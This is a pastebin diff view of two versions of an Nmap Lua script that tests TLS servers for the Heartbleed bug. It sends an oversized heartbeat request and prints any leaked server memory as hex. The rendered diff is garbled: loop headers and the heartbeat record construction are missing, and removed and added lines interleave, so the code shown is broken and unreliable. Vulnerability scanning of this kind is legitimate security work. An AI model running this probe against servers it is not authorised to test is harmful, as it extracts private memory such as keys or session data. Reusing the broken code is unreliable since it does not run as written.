View difference between Paste ID: VPcMzUfG and 2LUiNbm1

 local nmap = require "nmap"
 local shortport = require "shortport"
 local stdnse = require "stdnse"
 local bin = require "bin"
 local tls = require "tls"
 
 description = [[
 Checks for the Heartbleed bug
 
 References:
 * http://heartbleed.com/
 ]]
 
 ---
 -- @usage
 -- nmap --script=tls-heartbeat <targets>
 --
 --@output
 -- 443/tcp open  https
 -- |_tls-heartbeat:
 --
 -- @xmloutput
 
 
 author = "Daniel Miller"
 
 license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 
 categories = {"discovery", "safe"}
 
 portrule = shortport.ssl
 
 action = function(host, port)
   local sock, status, response, err, cli_h
 
   cli_h = tls.client_hello({
     ["protocol"] = "TLSv1.1",
     ["ciphers"] = {
       "TLS_RSA_WITH_3DES_EDE_CBC_SHA",
       "TLS_RSA_WITH_RC4_128_MD5",
     },
     ["compressors"] = {"NULL"},
     ["extensions"] = {
       ["heartbeat"] = "\x01", -- peer_not_allowed_to_send
     },
   })
 
   -- Connect to the target server
   sock = nmap.new_socket()
   sock:set_timeout(1000)
   status, err = sock:connect(host, port)
   if not status then
     sock:close()
     stdnse.print_debug("Can't send: %s", err)
     return nil
   end
 
   local handshake_done = false
   -- Send Client Hello to the target server
   status, err = sock:send(cli_h)
   if not status then
     stdnse.print_debug("Couldn't send: %s", err)
     sock:close()
     return nil
   end
 
   -- Read response
   local done = false
   local supported = false
   local i = 1
-    status, response, err = tls.record_buffer(sock)
+
     status, response, err = tls.record_buffer(sock, response, i)
     if err == "TIMEOUT" then
       done = true
       break
     elseif not status then
       stdnse.print_debug("Couldn't receive: %s", err)
       sock:close()
       return nil
     end
-    local i = 1
+
-    while i <= #response do
+    i, record = tls.record_read(response, i)
-      local record
+    if record == nil then
-      i, record = tls.record_read(response, i)
+      local nsedebug = require "nsedebug"
-      if record == nil then
+      nsedebug.print_hex(string.sub(response, prev))
-        stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
+      stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
-        return nil
+
     end
 
-      if record.type == "handshake" then
+    if record.type == "handshake" then
-        for _, body in ipairs(record.body) do
+      for _, body in ipairs(record.body) do
-          if body.type == "server_hello" then
+        if body.type == "server_hello" then
-            if body.extensions and body.extensions["heartbeat"] == "\x01" then
+          if body.extensions and body.extensions["heartbeat"] == "\x01" then
-              supported = true
+            supported = true
-            end
+
-          elseif body.type == "server_hello_done" then
+        elseif body.type == "server_hello_done" then
-            stdnse.print_debug("we're done!")
+          stdnse.print_debug("we're done!")
-            done = true
+          done = true
         end
       end
     end
   until done
-  until done -- Not done, need a completed handshake :(
+
     stdnse.print_debug("%s: Server does not support TLS Heartbeat Requests.", SCRIPT_NAME)
     return nil
   end
 
   local numbytes = 0x79
   local padding = "YELLOW SUBMARINE"
   local payload = bin.pack("PP", "nmap", padding)
-  local payload = bin.pack("AA", "nmap", padding) -- Maybe should be ">P>P"?
+
       1, -- heartbeat_request
       numbytes,
       payload
       )
     )
 
   local status, err = sock:send(hb)
   -- Read response
   status, response, err = tls.record_buffer(sock)
   if not status then
     stdnse.print_debug("Couldn't receive: %s", err)
     sock:close()
     return nil
   end
 
   local i, record = tls.record_read(response, 0)
   if record == nil then
     stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
     return nil
   end
 
   if record.type == "heartbeat" and record.body[1].type == 2 then
     local payload = record.body[1].payload
     if #payload > 4 then
       return "VULNERABLE\n" .. stdnse.to_hex(payload)
     end
   else
     stdnse.print_debug("%s: Server response was not heartbeat_response", SCRIPT_NAME)
     return nil
   end
 end